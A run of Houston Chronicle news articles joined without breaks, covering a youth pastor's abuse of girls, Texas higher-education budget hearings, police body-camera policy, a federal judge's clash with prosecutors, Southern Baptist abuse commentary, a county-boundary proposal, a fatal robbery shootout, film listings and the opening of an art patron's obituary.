After that episode, she suffered nightmares and panic attacks for years. She still has trouble staying alone in locked rooms, she said.

Two lead investigators at the Harris County Sheriff's Office told the Chronicle that Foster likely groomed and sent suggestive texts to more girls from the Second Baptist youth group, based on texts and emails they reviewed, along with other evidence.

Harris County Lt. J.D. Philpot, who has investigated sex crimes for decades, described Foster as a particularly prolific sexual predator who used his position and "charismatic personality" to build trust and cultivate multiple victims simultaneously.

"There is no doubt that the victims in this case truly believed themselves special to him and that they were boyfriend and girlfriend," he said.

Foster's computer contained a trove of inappropriate, explicit or obscene messages and images addressed to many girls who appeared underage but were identified only by first names or emails and could not be readily identified, according to documents and interviews with Philpot and Gary Spurger, another investigator who also worked the case.

Philpot and Spurger said Community of Faith officials were cooperative but that Second Baptist church leaders didn't supply information.

"We obviously knew he'd worked at a previous church," Philpot said. He said Second Baptist didn't tell detectives Foster had been fired and didn't provide information to help identify other victims.

Second Baptist and Community of Faith were later involved in confidential settlements of two civil lawsuits filed by the families of the two girls who were the subject of Foster's criminal convictions, according to civil court records and interviews. Family members and attorneys declined to comment.

As part of the lawsuits, another teen who attended Foster's youth group before he was fired by Second Baptist provided sworn testimony that Foster seduced her at least five times while she was still in high school and began doing so after she turned 17.

Harris County prosecutors and victims opposed Foster's parole. Nicole's mother informed Texas officials in a letter that her daughter and others still suffered from Foster's long pattern of sexual harassment and inappropriate behavior.

"He is a predator and a manipulator," she wrote in 2015. "It sickens us to know that he had us all fooled and did a very good job of it."

Tell us your story

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Lise Olsen is deputy investigations editor and senior investigative reporter at the Houston Chronicle. Olsen has more than 20 years' experience specializing primarily in crime, corruption, worker safety and human rights. Follow her on Twitter @chrondigger and reach her by email at lise.olsen@chron.com.

Robert Downen covers City Hall for the Houston Chronicle's metro desk. Prior to that, he worked as a business reporter in Albany, New York, and as the managing editor of a group of six newspapers in Illinois. He is a 2014 graduate of Eastern Illinois University. Follow him on Twitter @RobDownenChron and reach him by email at robert.downen@chron.com.

John Tedesco, a longtime investigative reporter for the San Antonio Express-News, has exposed shady telemarketers at the Texas Highway Patrol Museum, bribery scandals at San Antonio City Hall and the deaths of oil-and-gas workers on the Eagle Ford Shale. He joined the Chronicle projects team last month. Follow him on Twitter @John_Tedesco and reach him by email at john.tedesco@chron.com.

Jon Shapley is a staff photo and video journalist for the Houston Chronicle. A native Houstonian, he joined the Chronicle in 2015. He previously worked at the NPR affiliate in Austin, as well as monthly magazines in Austin and San Antonio. He can be reached at jon.shapley@chron.com.

Design by Jordan Rubio and Jasmine Goldband

***AUSTIN  State lawmakers on Tuesday challenged several proposals offered by the Texas Higher Education Coordinating Board and expressed concerns about the rising costs of higher education during a Senate Finance Committee hearing.

The committee also heard budget requests from universities throughout the state.

The higher education board requested roughly $118 million for education initiatives, including improving the transferability of college courses throughout the state, the development of an open educational resource repository that could combat rising costs of textbooks and $112.6 million toward the Texas Grant program, the largest grant program in the state.

The boards requests are a part of its goal to equip 60 percent of adults between the ages 25 and 34 with a post-secondary degree or certificate by 2030 and to make college education easier to obtain and affordable for all students.

Texas Higher Education Commissioner Raymund A. Paredes stressed the importance of financial aid and serving students who are experiencing financial hardship, poverty and homelessness on campuses throughout the state.

These are traditional students now, Paredes said. These are the students of the future and we need to make sure we nurture them.

ON HOUSTONCHRONICLE.COM: Houston parents of UT Austin student who died after possible hazing call for campus reform

Lawmakers pushed back, many stating that the board and Legislature have been discussing the same issues for years.

You talk a lot about affordability, but I just dont see it happening, especially at the larger schools, State Sen. Joan Huffman, R-Houston, said to Paredes.  It keeps getting more expensive for our kids.

Paredes said progress has been made within the last decade, but Huffman wasnt swayed.

How can you say that when it keeps getting more expensive? Huffman retorted. ... Its very concerning. We want some answers.

Paredes said various factors, like declining support for funding at the state level and acquiring the latest technology for faculty and staff to conduct research and provide students with a first-rate education, have contributed to rising college costs. Ensuring students courses can transfer to other schools and that they are able to complete their degree within four years without excess credits, can help decrease the costliness of colleges, he added.

State Sen. Jane Nelson, R-Flower Mound, said transferability of courses and the fact that students acquire more credit hours than needed has been a topic theyve discussed for well over 10 years. She said it was inexcusable that the issue hasnt been solved sooner.

I know youve been working on it, Nelson said to Paredes. But its time.

State Sen. Royce West, D-Dallas, also challenged Paredes on his notion of performance-based funding, which encourages universities to see students through graduation with additional funding/resources.

Why should we be incentivizing universities to [do] what they should be doing in the first place? he said.

Paredes emphasized that funding would largely help students who are experiencing financial difficulty or poverty. That population is the most expensive to serve because they require more time, mentoring, advising and other resources, he said.

Despite the pushback from the Senate on certain requests, lawmakers expressed their appreciation to Paredes, who announced earlier this year that he will resign in August after 19 years.

Were glad youre sticking us through the session, said Nelson.

$60 MILLION SOUGHT: University of Houston to request funds from state for new law center, according to HoustonChronicle.com report

The boards presentation, which took around an hour including pressing questions from the Senate, largely set the tone for the remainder of the hearing.

West later questioned state colleges and universities, who are presenting proposals over the next week and a half to the legislature, about their progress in open source materials, transferability of their courses, services to students formerly in foster care, and student debt. The colleges, largely focused on their hope to maintain and expand formula funding and their special budget requests.

President Austin A. Lane of Texas Southern University , the largest historically black university in the state, requested $4 million to help maintain and enhance the pathways for students to complete their education.

The college is looking to host mandatory case management advising for students, to partner with local community colleges to ensure that the transfer process is easier and to also ensure students are not racking up more credit hours than needed. Lane hopes to implement an auditing degree program that will require advisers to meet with students once they complete 30, 60 and 90 credits to ensure that theyre on the right track. Lane asked for another $12 million for TSU facilities after the 92-year-old campus suffered some damage in the aftermath of Hurricane Harvey.

Texas A&M University President Michael Young testified that there was a noteworthy disparity in student funding between the College Station flagship and the University of Texas at Austin, which reportedly receives $860 more per student per year than A&M. Young also stated that A&M has not seen an increase in formula funding since 2008 despite adding 17,000 more students.

Thats bigger than most other universities in the state, Young told the Houston Chronicle earlier this week. The consequences of that, weve been disadvantaged by the formula funding.

Young requested $55 million, half the amount needed to close the gap, he said.

With that money, I could hire close to 200 additional professors to serve students and get faculty more in line with institutions that all the universities in Texas compete with, he said.

Texas A&M University-Galveston, known for its marine and maritime programs, requested $58.3 million for its Immersive Scholarship and Learning Environment (ISLE) building, a learning environment for professionals and students in the maritime industry, and around $678,000 to provide services for the Exploration to Graduation program, which would provide academic and support services for students in hopes of improving retention and graduation rates.

Prairie View A&M University, an HBCU and part of the Texas A&M University system, requested a $14.9 million match for their government funding, as well as additional funding for academic support services.

Texas A&M University-San Antonio President Cynthia Matson requested $55 million to assist in the second phase of construction for the schools college of business, which has had a temporary home since its inception. Matson also requested $2 million to support student and academic success initiatives and that $1.4 million of formula funding be restored.

Lamar University in Beaumont requested $45 million for a building, which will be dedicated to online digital learning, according to President Kenneth Evans. The university will also requested that legislation that reduces or eliminates costs in relation to facilities or fees involved with online learning not be approved.

Evans stated that the college currently serves various students throughout the state, as well as students in around 30 states and 23 countries. The university has also requested $14.5 million in Hurricane Harvey relief, which would help the university recover after losing enrollment and students in the aftermath of the storm. Evans said he has also asked lawmakers to assist Lamarwith funding the Hazelwood exemption, which provides free tuition and fees to veterans, their spouses and children for up to 150 hours.

The exemption is ultimately supported by student fees and tuition.

britttany.britto@chron.com

@brittanybrittoWhen Houston police took part in the botched raid that killed two civilians and wounded four officers, there was no video from body cameras for investigators to examine.

Despite spending millions of dollars on the technology since 2014 and equipping patrol officers and uniformed street crime teams, police management have yet to deploy devices among undercover units engaged in the most dangerous tactical operations.

The department hasnt purchased enough equipment or developed protocols for undercover teams  and requires officers to turn off their devices when conferring with undercover officers assigned to an investigative division about a tactical operation or briefing.

The practice denies accountability in drug raids and hostage situations, leaves officers who claim their actions were proper undefended, and ignores common-sense best practices even in some of the highest-risk situations, according to criminal justice experts.

Thats outrageous, said George Kirkham, a police officer and retired Florida State University criminology professor. The prevalence, the inexpensiveness, the ready availability of them ... Certainly they should be used in situations like this, (so) were not left to guess at what happened; we can reconstruct it with precision.

Police Chief Art Acevedo said the lack of body cams on raid teams is about priorities; the department wanted to equip street officers first.

Our primary focus on camera deployment has been first on patrol, and next on proactive street crime units, he told the Houston Chronicle. Those are most likely to be involved in use of force cases.

The push for body cameras started in 2015 when Houston City Council approved a $3.4 million contract with plans to buy 4,100 devices, but put those plans on pause in 2017 after Acevedo raised concerns about issues with the cameras battery life.

The department currently has equipped 2,650 of the departments 5,200 officers with the devices, said Kese Smith, an HPD spokesman. There are an additional 400 devices in reserve.

Unanswered questions

The question of when police should record interactions with the public has come to the fore again in Houston after the Jan. 28 drug bust that ended with two people dead and five officers injured  four by gunfire.

Police secured a no-knock warrant after a confidential informant made a controlled buy of what was reported as heroin at the house on Jan. 27, authorities said. The next day, police used that purchase as a key piece of their request for the warrant, laying out their reasons in a three-page sworn affidavit.

The informant also warned police of a large quantity of drugs inside, packaged in plastic baggies, and a 9mm handgun, according to the court filing.

Undercover narcotics officers burst into the suspected drug den the next day, and a gunfight immediately ensued. By the end of it, the houses residents  Dennis Tuttle and his wife Rhogena Nicholas  were dead. Four officers were shot; two remain in the hospital.

After the shooting, police said they found 18 grams of marijuana, 1.5 grams of cocaine, along with several firearms  but no heroin. Friends of the couple disputed assertions by police that they were drug dealers.

In the days after the raid, police relieved one officer of duty in light of ongoing questions surrounding the Harding Street bust. His suspension came amid a probe into questions over whether the sworn affidavit used to justify the no-knock warrant may have contained false information, according to law enforcement sources.

Monique Caballero, a friend whod known the couple for about five years, said body cams could have helped answer many questions that still remain.

The whole reason why police have body cams is to back up that what they did was correct, Caballero said. When you dont wear body cameras that goes to show that you might do something thats not legal and you have no accountability for your actions.

A best practice

If police are willing to use body cameras in lower-risk interactions on the street, experts said, then it only makes sense to use them in even riskier scenarios such as raids.

Its pretty commonly considered a best practice to record those raids, said Scott Henson, executive director of the nonprofit justice group Just Liberty. Its a high-stakes thing. Someone could lose their life  as these two people did in this raid. So you want to dot every i in that situation.

Phillip Lyons, dean of the College of Criminal Justice at Sam Houston State University, said it seemed odd to forego cameras in high-risk situations  but highlighted a few justifications police might cite.

If they have body cameras, then there will be recordings and those could have implications, he said. For instance, police could object to the possibility of revealing tactics.

Houston Police Officers Union Vice President Doug Griffith said that while he didnt believe body cameras were appropriate for everyday use by undercover officers, he did support using them during warrant raids and similar operations.

He said he was concerned by the possibility of defense attorneys disseminating body camera video and outing undercover officers.

Everybody who does a warrant should have a body cam on, he said, adding that he favors laws that would allow the department to blur the faces of undercover officers before giving the videos to defense attorneys. Youre putting your people at risk if you do a search warrant and their faces are seen. Youre asking them to go buy dope from crooks. Thats a problem.

Sam Walker, a police accountability expert and professor at the University of Nebraska at Omaha, downplayed those concerns.

A raid is a public event. Youre outing yourself, and certainly the people or person inside is going to see it, he said. Theres going to be courtroom testimony so I think that outing fear is misplaced.

Lack of consistency

Theres little consistency among law enforcement on bodycam policies and even less when it comes to their use in non-patrol settings.

Policies among individual police departments vary widely  and some have ended up getting rid of the devices because of the high costs of digital data storage.

The military uses them in some scenarios, and so do prison guards. The Harris County Sheriffs Office doesnt use them for task forces or SWAT teams, but if uniform deputies go along on a tactical raid then theyd typically wear them. Theres no policy outlining how undercover deputies might use them in tactical raids.

Its a conversation that we need to have, said spokesman Jason Spencer, and its part of a larger conversation about equipment needs.

The U.S. Department of Justice provides millions in grants to municipal departments to buy and use body cameras but has been far more wary about outfitting federal law enforcement officers with the devices  and in joint operations with local departments, has asked officers not to wear them.

Thats another challenge the department will have to sort out, Acevedo said.

One question on the table is, What will the impact be in multi-jurisdictional teams or operations? Acevedo asked.

About six weeks ago, he ordered his staff to review how other large departments handle body camera policies, particularly regarding search warrants and use by undercover units. He hopes to create a policy to be used in Houston and by other members of the Major Cities Chiefs Association, of which he is the current president.

When that review will wrap up is unclear.

st.john.smith@chron.com

keri.blakinger@chron.comA federal judge banished a female prosecutor from his Houston courtroom last month, sparking a rare standoff between the new U.S. Attorney and a jurist with a history of sniping at lawyers, government officials and litigants.

U.S. District Judge Lynn N. Hughes, a 77-year-old appointed by President Ronald Reagan, has been criticized in the past for making comments perceived as racist or sexist in court.

U.S. Attorney Ryan K. Patrick argued that in twice ejecting the prosecutor before a trial, the judge exceeded his authority by attempting to rule on who can prosecute a case in his court. Hughes told Patrick that the prosecutor  who was involved in a previous case where the judge made controversial remarks  lacked ability and integrity, records show.

SWORN IN: Lieutenant governor's son takes office as U.S. attorney

Federal judges have the discretion to excuse lawyers and issues ruling within the bounds of the constitution, and they do not have to provide their reasoning.

Hughes is known for delivering history lectures, issuing blunt critiques about improper courtroom attire and accusing the Justice Department of abusing government resources. Visitors to his court either perceive him as obnoxious and vindictive or witty and astute. Hes been called a loose cannon who lashes out at attorneys unaware of his expectations or revered as a no-nonsense defender of constitutionally-guaranteed rights. A 2017 Houston Bar Association poll found that lawyers felt he needed the most improvement in being impartial, following the law and being courteous to attorneys and witnesses.

The recent controversy involved Assistant U.S. Attorney Tina Ansari, the same prosecutor involved in a 2017 court session in which Hughes made remarks characterized by the 5th U.S. Circuit Court of Appeals as demeaning, inappropriate and beneath the dignity of a federal judge.

RELATED: Federal judge criticized by appeals court for 'demeaning remarks

It was a lot simpler when you guys wore dark suits, white shirts and navy ties We didnt let girls do it in the old days, he said during the court session. The judge later told the Houston Chronicle he was speaking to a group of FBI agents, at least one of whom was a woman, and not the prosecutor. He said the comments were in reference to the exclusion of women historically and were not derogatory.

Hughes remarks were included in the U.S. Attorneys appeal of his ruling, which the 5th Circuit overturned in July 2018, criticizing him. The appellate court also took the unusual step of ordering the presiding district judge to reassign the case to a different judge.

You will be disappointed

The next time Ansari appeared before Hughes was on Jan. 14, as one of two prosecuting attorneys for an unrelated criminal case. At the pretrial hearing, Ansari announced her name to the court reporter and Hughes promptly excused her from court. She packed up and left.

Four days later at the start of a subsequent hearing on the same health care fraud case, Hughes immediately excused Ansari again.

LEGAL QUESTION: Federal judges butt heads with U.S. lawmakers over ankle monitors for nonviolent suspects

She asked why, and judge declined to provide his rationale.

Ansari thanked Hughes and left the courtroom.

Patrick, the U.S. Attorney, who attended the Jan. 18 hearing, addressed the judge and asked for an explanation. He reminded Hughes it is the Justice Departments duty to assign prosecutors to cases.

Hughes responded that Patrick had failed to withdraw a dishonest brief in the 2017 case that the judge said incorrectly quoted him as making the girls remarks to Ansari. Hughes said that in the past prosecutors have corrected mistakes when the court pointed them out, and Hughes claimed that Patrick and his staff had not followed suit.

The judge explained, Ms. Ansari is not welcome here because her ability and integrity are inadequate, according to a transcript.

Hughes declined to comment about Ansaris ejection, but he told Patrick in court that the U.S. Attorney had conflated his earlier comment to Ansari about being unprepared for her case with his later comment about womens attire, which Hughes said was not directed at the prosecutor.

Patricks office asked to stop the criminal trial while they appealed Ansaris ejection. They also asked that Hughes recuse himself from the case, which the judge declined to do. The appeals court promptly denied the stay, and the fraud trial began without Ansari. A jury convicted the defendant on all counts.

Following the guilty verdict, Patrick said the judge exceeded his authority in excluding Ansari.

My duty under the law as the U.S. Attorney is to prosecute all crimes in the Southern District and that includes assigning the attorneys I feel are appropriate for any individual case, said Patrick, who is the top federal law enforcement official in the sprawling federal district. A judge does not have the authority to decide who gets to appear in front of him and a judge certainly cannot retaliate against a lawyer based on their performance in a previous case where the 5th Circuit has already told him he was wrong.

Patrick said his office is appealing Hughes decision to remove Ansari.

In the meantime, the defense lawyer in the criminal case filed a routine appeal, along with a secondary argument that the jurys verdict was null and void due to the prosecutions pending appeal of Ansaris ejection. Hughes denied the request.

Comments by the judge challenged in earlier cases

Hughes unvarnished critiques from the bench include a 1994 statement that U.S. immigration officers were flunkies and brown shirts a reference to Nazi supporters  due to their conduct in a passport fraud case.

In 2013, the Texas Civil Rights Project filed a complaint against Hughes based on a review of court transcripts in three separate cases they said showed a pattern and practice by Hughes of making what the nonprofit organization described as racist remarks.

The complaint focused on the judges comments about diversity, including his ruling that comments allegedly made by a Fort Bend Independent School District administrator to an African American employee were insignificant political speech. The administrator had allegedly told the employee that if Barack Obama were elected president, the Statue of Liberty would have its torch replaced by a piece of fried chicken.

The outcome of that complaint has not been disclosed in court records.

Hughes has garnered national attention for other remarks and rulings, including his dismissal of a sex discrimination case brought by a nursing mother who was prevented from pumping breast milk at work. An appeals court reversed Hughes ruling in that case.

In other cases, Hughes also has been known to dress down federal officials for what he considers inappropriate courtroom behavior and attire. Last year he snapped at a male FBI agent in a child pornography case for showing up in his courtroom without a tie.

In a 2016, he issued a rare Order of Ineptitude in a terrorism case involving a man accused of supporting ISIS overseas. His wrath was not for the alleged terrorist, but a federal prosecutor from Washington, D.C. that Hughes called just one more nonessential employee.

After he was berated by Hughes for not coming to his court in a suit and tie, the prosecutor apologized and explained he didnt have a suit with him because he had just arrived in Houston from the Middle East. Hughes told him to retrieve his passport so he could verify the prosecutors customs stamps.

So, what is the utility to me and to the people of America to have you fly down here at their expense, eat at their expense and stay at their expense when there are plenty of capable people over there, in this room plus over there? Hughes asked. You dont add a bit of value, do you?

Ethics questions posed

Two experts interviewed by the Chronicle said Hughes pattern of unusual or improper remarks and his behavior toward the prosecutor could fit the legal definition of federal judicial misconduct or even incompetence and should be formally reviewed by Chief U.S. Judge Carl E. Stewart of the 5th Circuit.

After reading a summary of Hughes comments in last months hearing, Joanna L. Grossman, a professor at the Southern Methodist Universitys Dedman School of Law, said it appears based on court records that Hughes directly retaliated against the female prosecutor because of criticism generated over his 2017 remark  a matter that had nothing to do with the criminal case before him.

You need some proceeding where either the judge has to account for the conduct or air the facts -and theres no natural way for that to happen outside of the misconduct complaint process, Grossman said.

Arthur Hellman, a senior University of Pittsburgh law professor and a nationally recognized expert on federal judicial ethics, separately reviewed portions of the transcript and said Hughes behavior seems to be erratic in a way that starts to raise some questions about his competence.

Hellman said it was bizarre for a judge to be jumping into the case in this way and deciding this particular (prosecutor)  isnt competent to represent the U.S. when the U.S. Attorney who runs the office thinks she is.

Given Hughes history as the subject of a previous formal complaint and of public criticism in past appellate court opinions, Hellman said, I think that the overall pattern of behavior here is sufficient to justify the chief judge initiating a complaint under the misconduct act.

Under federal law, the chief appeals judge, Stewart, can independently decide whether to initiate his own formal review of whether Hughes latest behavior constitutes either judicial misconduct or mental disability based on information already available to him. Stewart, as chief judge, confidentially reviews all misconduct complaints involving federal judges in Texas, Mississippi and Louisiana.

Federal law defines misconduct for federal judges as any act that is prejudicial to the effective and expeditious administration of the business of the courts and disability as being unable to discharge all duties of office by reason of mental or physical disability.

Stewart did not respond to an email inquiry about whether he plans to investigate last months incident involving Hughes.

Gabrielle Banks covers federal court for the Houston Chronicle. Follow her on Twitter and send her tips at gabrielle.banks@chron.com.

lise.olsen@chron.com

NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here.A joint investigation by the Houston Chronicle and San Antonio Express-News has revealed that since 1998, roughly 380 Southern Baptist church leaders and volunteers have faced allegations of sexual misconduct, leaving behind more than 700 victims.

The first part of their report, Abuse of Faith, was published on Sunday. Many Americans found it shocking, in addition to distressing. Some readers were left wondering if a similar pattern of abuse might be discovered in other religious communities, or other Christian churches.

Thats a fair question, and one that people of faith should take seriously.

At the core of Southern Baptist doctrine is local church autonomy, the idea that each church is independent and self-governing, my colleagues reported.

On HoustonChronicle.com: Abuse of Faith, Part 1: 20 years, 700 victims: Southern Baptist sexual abuse spreads as leaders resist reforms

That would help explain the number of predators they identified during the course of a year-long investigation. A Southern Baptist pastor whos behaved inappropriately isnt subject to oversight by the Southern Baptist Conventionwhich explains, on its website, that its a collaborative ministry partner rather than a governing body.

Southern Baptists arent the only people prone to sin, however, and a number of evangelical pastors have been accused of sexual misconduct since the Me Too movement began. According to many American ex-vangelicals, these cases are reflective of a broader problem, rooted in Christian teachings on gender, sexuality and relationships.

Also, the Southern Baptist Convention isnt the first denomination to be roiled by a Church Too scandal, although the phrase itself is a new one. Last month 14 Catholic dioceses in Texas identified 286 priests who had been credibly accused of sexually assaulting minors since 194142 of whom were listed by the Archdiocese of Galveston-Houston.

In other words, its possible that other denominations would face a similar reckoning, if confronted with the results of a yearlong newspaper investigation.

As a Methodist, however, I doubt the United Methodist Church would be among them. My denomination isnt better, per se, than any other. But it has a different organizational structure, for example, than the Southern Baptist Convention.

Later this month, for example, delegates from Methodist churches around the world are gathering in St. Louis for a Special Session of the General Conference, concerning language pertaining to human sexuality in the churchs Book of Discipline.

The present language is from 1972, notes a report from the churchs Commission on the Way Forward, and in recent years it has caused increasing harm to one another, and a deepening impasse related to human sexuality and the unity of the church.

The report lays out three possible approaches the United Methodist Church might take to ameliorate those problems, given that some Methodists take a progressive view of LGBTQ rights while others are traditionalists.

On HoustonChronicle.com: Abuse of Faith Part 2: Southern Baptist churches hired dozens of leaders previously accused of sex offenses

The Southern Baptist Convention doesnt allow for that kind of disagreement. It may be a collaborative ministry partner but under the Constitution of the convention, it only partners with Baptist churches that are deemed to be in friendly cooperation with the Convention, and sympathetic with its purposes and work.

Churches which act to affirm, approve, or endorse homosexual behavior, for example, wouldnt make the cut, because they would be at odds with the statement of faith adopted by the Southern Baptist Convention itself.

At the same time, the SBCs commitment to local church autonomy inevitably frustrates would-be reformers.

That helps explain why the Southern Baptist Convention ended up being the subject of a newspaper investigation in the first place.

The leaders of the churches that cooperate with the Southern Baptist Convention have to toe the line, in terms of what they preach. But those who abuse or assault members of their congregation cant be held accountable easily, even if their victims come forward. SBC leaders have invoked the doctrine of local church autonomy in response to calls for action.

And the doctrine of local church autonomy helps explain why the Southern Baptist Conventions problem is systemic. Its a distinguishing characteristic of the denomination.

The Frequently Asked Questions section of the Conventions website includes the following question: I believe our pastor (or my church) has acted inappropriately. What can the SBC do about it?

The answer leaves the impression that the question itself might be deemed inappropriate.

The SBC is not a church and has no authority to renounce, censure, investigate, or otherwise attempt to discipline members of any local church, it says in part.

That kind of response is hardly likely to dissuade a sexual predator, especially if theyve been ordained as a pastor in a denomination that considers the pastor to be the best judge of himself, as well as the most vulnerable members of his flock.

erica.grieder@chron.comDespite a weekend meeting to talk with residents about moving High Island and the Bolivar Peninsula to Chambers County, there still seem to be more questions than answers about the idea.

The idea was discussed at a town hall last weekend hosted by state Rep. Mayes Middleton, R-Wallisville.

Chief of Staff Christopher Paxton said the representative heard about the idea on the campaign trail and wanted to see if there were more residents interested in the county switch.

Numbers released by Galveston County's budget office show it might not be in Chambers County's best financial interest to pursue the peninsula.

The area, separated by ferry from the rest of Galveston County, in 2019 is expected to bring in only about $7 million compared to $12.3 million in expenses for beach maintenance, sheriff's department and general government. That leaves a $5.3 million deficit for the area.

Middleton represents the area and wanted to explore it further, but any action would require petitions be circulated in both counties. If they garner 50 signatures from qualified voters each, these petitions would then prompt a vote. A majority of voters in both counties would have to approve the switch.

"We want to hear from the people that live there, frankly," Paxton said.

It doesn't seem like anyone's at that stage yet.

Prior to the town hall meeting, county commissioners from Galveston and Chambers counties seemed confused about where the issue, and the belief that residents want to switch counties, came from.

"People want to stay in Galveston County," said Galveston County Commissioner Darrell Apffel, whose district includes the areas. "The Bolivar Peninsula is one of the crown jewels of Galveston County. We love the open beaches. We love the tourism. We love the residents."

Chambers County Commissioner Billy Combs said earlier this month that he couldn't form an opinion on the issue yet because he hadn't heard the advantages and disadvantages to residents or heard from Galveston County officials.

He wasn't able to attend the meeting but said there still seems to be "far more questions than answers."

Chambers County Attorney Scott Peal said the commissioners likely will consider the issue in the future.

It's unclear at this point how the majority of residents feel, as officials on both sides say they've talked with many supporters.

Middleton's office didn't return requests for comment on the outcome of the town hall.Two members of a "violent crew" of suspected armed robbers who targeted Houston area pharmacies were killed late Tuesday in a gunfight with authorities near a Walgreens in Cinco Ranch that was just robbed, officials said.

The shooting happened at 11 p.m. during a joint investigation by the Harris County Sheriff's Office and the Texas Department of Public Safety. Investigators had been watching a white pickup with four suspects inside just before the group robbed the Walgreens store at 22202 Westheimer Pkwy., authorities said. The same pickup was used in some of the previous robberies.

Now Playing: Two suspects connected to several robberies at Houston area pharmacies are dead after a "violent crew" opened fire on officers who were following their truck , Harris County Sheriff Ed Gonzalez said. Video: Houston Chronicle

Authorities said three suspects went inside the store while one waited outside. After the robbery, they got in the truck and led investigators on a short chase to an apartment near the intersection of South Mason and Westheimer. There, robbers fired at pursuing officers, who exchanged gunfire.

OPINION: Solutions to gun violence from an NRA lifer. Join the conversation at HoustonChronicle.com.

One suspect was shot and died at the scene. Another succumbed to his gunshot wounds later at a hospital.

No officers were shot, but one suffered minor cuts from broken glass. Two other suspects, both 21, were arrested and booked into the Fort Bend County Jail.

"This has been a violent crew that's been on a bit of a crime spree for the last two weeks or so," Gonzalez said during a late-night press briefing, adding that they were connected to at least 12 robberies in Harris and Fort Bend counties.

"It was our belief they were just going to continue to do this," he said.

Gonzalez said only DPS troopers fired their weapons in the exchange not his deputies.

The Texas Rangers, who are leading the investigation, declined to release the names of the two deceased suspects and the two suspects in custody.

Texas DPS Sgt. Stephen Woodard, a spokesman for the agency, said they are waiting for the medical examiner to notify the deceased suspects' next of kin. They're withholding the names of the other two suspects because one of them is "possibly" related to a deceased suspect, Woodard said.

The suspects' ages range from 19 to 21 years old, said Harris County Sheriff's Office spokesman Thomas Gilliland.

The group was suspected in 12 robberies over the last two weeks in Harris County alone, he said. He said those robberies all took place at a Walgreens or CVS pharmacy, mostly between 9 and 11 p.m. They were also suspected in a daytime robbery Thursday at a Walgreens in the 13100 block of Cypress North Houston at Huffmeister, Gilliland said.

He said the group only made off with cash, not drugs from the pharmacy. But Gonzalez said the group was "becoming more brazen."

"Sometimes, they made off with quite a bit of money," Gonzalez said.

On Tuesday night in Cinco Ranch, investigators weren't expecting another robbery as they watched the suspects' white pickup, which was used in other holdups, according to DPS regional director Jason Taylor.

"We didn't have any information that another robbery was going to go down," Taylor said.

He said multiple weapons were recovered from the scene, and no bystanders were injured.

NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here.Alita: Battle Angel

Texas director Robert Rodriguez shot this manga-based action film, about a young woman who has to save the world, in Austin. Rosa Salazar is Alita and shes supported by Mahershala Ali, Christoph Waltz, Jennifer Connelly and Ed Skrein.

Rated PG-13. Playing throughout Houston.

Anandi Gopal

One of Indias first female physician, Anandi Gopalrao Joshi, is the subject of this biopic.

Unrated. Playing at AMC Studio 30, Houston.

Bisbee 17

Director Robert Greene merges a documentary approach with the Western to convey the story of what happened in an Arizona town 100 years ago when more than 1000 immigrant miners were rounded up, put in cattle cars and left to die.

Rated PG. Playing Sunday at 14 Pews, Houston.

Donnybrook

Frank Grillo  from Kingdom, Wolf Warrior 2, and a couple of Purge movies  doesnt seem to even look at a script unless it has some major brawling. So it makes perfect sense he stars in this drama about a bare-knuckle fighter. Jamie Bell co-stars. It took home a top prize at Austins Fantastic Fest.

Rated R. Playing at AMC Studio 30, Houston; Alamo Drafthouse LaCenterra, Katy

Extreme Job

What happens when a fried-chicken restaurant set up by cops as a sting operation becomes the hottest place to eat in town? Thats the premise for this South Korean comedy.

Unrated. Playing at AMC Studio 30, Houston.

Fall in Love at First Kiss

Also titled Sealed with a Kiss, this Mandarin-language rom-com revolves around a girl with a crush on the smartest boy in school.

Unrated. Playing at AMC Studio 30, Houston.

Garabandal: Only God Knows

Four girls in early 60s Spain insist that the Virgin Mary and St. Michael have appeared to them.

Unrated. Playing at Regal Edwards MarqE 23, Houston.

Gully Boy

Mumbais hip-hop scene is the setting for this drama about a poor Muslim young man trying to make it as a rapper.

Unrated. Playing at AMC Studio 30, Houston; Cinemark Memorial City, Houston.

Happy Death Day 2U

Heres the sequel to the horror film Happy Death Day thats set two years after the events in the original.

Rated R. Playing at AMC Studio 30, Houston.

Horn from the Heart: The Paul Butterfield Story

Documentary about Chicago blues musician Paul Butterfield whose Paul Butterfield Blues Band helped popularize the blues with rock audiences in the mid-60s.

Unrated. Playing Saturday at 14 Pews, Houston.

Isnt It Romantic?

Director Todd Strauss-Schulson knows his big, dumb comedies  he directed A Very Harold & Kumar 3D Christmas and Zombies and Cheerleaders after all  and now hes corralled Rebel Wilson, Priyanka Chopra and a Hemsworth brother for this comedy about a woman who finds herself trapped inside a rom-com.

Rated PG-13. Playing throughout Houston.

The Lears

Bruce Dern, Anthony Michael Hall and Sean Astin headline a comedy about a wealthy man who summons his family for a meeting where he drops some big news.

Unrated. Playing at Studio Movie Grill, Pearland.

Lords of Chaos

Scandinavia is known for its hard-driving black metal scene and this 90s-set drama about a young man who gets involved in the subculture has been making lots of noise on the festival circuit. Rory Culkin and Jack Kilmer star.

Rated R. Playing at Alamo Drafthouse LaCenterra, Katy.

Mirai

The acclaimed anime film from director Mamoru Hosoda tells the story of a boy who can travel through time to meet his relatives from various eras. Its nominated for an Oscar in the animated feature category and is returning to theaters for a one-day engagement on Monday only.

Rated PG. Playing Monday at Regal Edwards MarqE 23, Houston.

Monrovia, Indiana

Noted documentarian Frederick Wiseman (National Gallery) travels to rural America in the aftermath of the 2016 election to take the pulse of the people.

Unrated. Playing at 14 Pews, Houston.Houstons art community has lost one of its most beloved and supportive figures.

Bill Lassiter, a long-time beacon of the citys cultural scene, died early Monday after a fall outside a local restaurant. He was 86.

Lassiter, who collected friends as much as he collected art and objects, became a major patron of early-career Houston artists on what some would consider an extremely modest income. For decades, he sold menswear for years at the downtown Norton Ditto store. Yet Lassiter amassed a collection so large  more than 500 works at last count, about seven years ago  that he rotated works twice a year on the walls of his bungalow in the Cherryhurst neighborhood.

The critically-acclaimed painter David Aylsworth said Lassiter was one of the first people he met when he arrived in Houston more than 30 years ago as a fellow in the Glassell School of Arts Core Program. And Lassiter was one of the first to buy his paintings, starting with a small piece that hung on the walls of Treebeards Restaurant. I never thought of selling my artwork, Aylsworth said. I just desperately needed the $50.

Art dealer Hiram Butler, another long-time friend, said Lassiter also was one of the first to buy work from Julian Schnabel back in the day when the superstar was just an ambitious student at the University of Houston.

